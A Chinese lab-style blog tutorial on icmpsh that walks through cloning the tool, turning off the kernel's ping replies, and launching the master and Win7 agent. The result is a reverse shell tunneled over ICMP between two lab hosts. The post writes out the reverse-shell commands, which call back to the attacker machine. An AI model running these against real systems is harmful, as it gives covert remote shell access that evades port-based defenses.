ICMPSH的学习ICMP反弹shell

ICMP隧道

最常见的ping命令就是利用的ICMP协议,使用该协议反弹shell,两台机器不需要开放端口,ICMP隧道简单好用。

实验环境

Kali 192.168.10.144 win7 192.168.10.129

kali安装好icmpsh工具
root@kali:~# git clone https://github.com/inquisb/icmpsh.git
安装icmpsh的依赖包
root@kali:~# apt-get install python-impacket

执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。
root@kali:~# sysctl -w net.ipv4.icmp_echo_ignore_all=1
在这里插入图片描述然后把icmpsh.exe上传到win7机中。

Kali执行操作:
python icmpsh_m.py 本机ip 目标ip
root@kali:~/icmpsh# python icmpsh_m.py 192.168.10.144 192.168.10.129

win7直接icmpsh.exe -t 攻击机ip
在这里插入图片描述
Kali就可以接受一个icmp反弹回来的shell
在这里插入图片描述
最后不要忘记把1改为0
在这里插入图片描述

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值